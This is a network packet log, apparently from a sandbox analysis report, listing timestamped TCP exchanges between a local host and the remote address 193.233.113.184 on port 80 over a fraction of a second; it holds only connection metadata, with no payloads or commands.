Sep 24, 2024 21:30:12.378005028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378050089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378099918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378133059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378148079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378168106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378177881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378202915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378211021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378238916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378248930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378274918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378284931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378338099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378376961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378422976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378444910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378488064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378510952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378540993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378557920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378582001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378597021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378624916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378667116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378700018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378715038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378734112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378763914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378767967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.378783941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.378814936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379143000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379195929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379225969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379229069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379235983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379285097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379312038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379344940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379362106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379379034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379412889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379420042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379451990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379487038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.379498005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.379533052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380717039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.380764008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380773067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.380806923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.380819082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380841970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.380846977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380877972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.380889893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380917072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.380985022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381017923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381042004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381051064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381067038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381084919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381097078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381124020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381141901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381201982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381205082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381237984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381247997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381272078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381282091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381306887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381313086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381340981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.381355047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.381385088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382565975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382625103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382625103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382642984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382667065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382680893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382764101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382780075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382795095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382807970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382811069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382822990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382828951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382843971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382859945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382880926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382916927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382965088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.382983923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.382999897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383016109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383025885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383032084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383044958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383049011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383060932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383078098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383095026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383510113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383557081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383557081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383574963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383598089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383614063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383660078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383676052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383697987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383713961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383714914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383754969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383795977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383810043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.383837938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.383853912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463294983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463368893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463399887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463426113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463438034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463485003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463490963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463524103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463537931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463558912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463566065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463607073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463618994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463656902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463658094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463701010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463706970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463742971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463754892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463776112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463793039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463824034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463825941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463864088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463923931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463958979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.463969946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.463993073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464015961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464045048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464063883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464112997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464133024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464165926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464179993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464206934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464266062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464315891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464330912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464364052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464379072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464397907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464407921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464428902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464446068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464473963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464546919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464592934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464633942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464667082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464679956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464703083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464709044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464737892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464747906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464772940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464776993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464808941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.464817047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.464862108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465058088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465107918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465193987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465238094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465245008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465277910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465291977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465310097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465321064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465343952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465353966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465379000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465387106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465423107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465544939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465576887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465598106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465610027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465619087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465641975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465655088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465677977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465687037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465712070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465719938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465747118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465753078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465781927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465790033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465816975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.465823889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.465862036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466012001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466043949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466061115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466078043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466089964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466111898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466119051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466145992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466156960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466177940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466192007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466212988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466218948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466248035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466253042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466291904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466334105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466370106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466382027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466412067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466500998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466533899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466547012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466567993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466577053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466603994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466609955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466648102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466651917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466681004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466695070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466731071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466826916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466859102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466872931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466892004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466901064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466926098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466937065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466963053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.466968060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.466998100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467008114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467031956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467036963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467067003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467072964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467111111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467149019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467180967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467196941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467225075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467276096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467308998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467324972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467343092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467353106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467396975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467403889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467446089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467459917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467504025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467601061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467634916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467648983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467669010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467683077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467709064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467741966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467776060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467789888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467818975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467886925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467924118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467938900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.467958927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.467964888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.468003988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469353914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469388008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469409943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469422102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469425917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469458103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469465017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469495058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469501019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469532013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469537973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469577074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469630003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469660997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469676018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469695091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469703913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469727993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469744921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469763041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469775915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469798088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469805002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469839096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469846964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469872952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469882011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469907999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469916105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469937086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.469950914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.469978094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471143961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471199036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471210957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471231937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471240997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471273899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471286058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471319914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471333027 CEST	49730	80	192.168.2.4	193.233.113.184
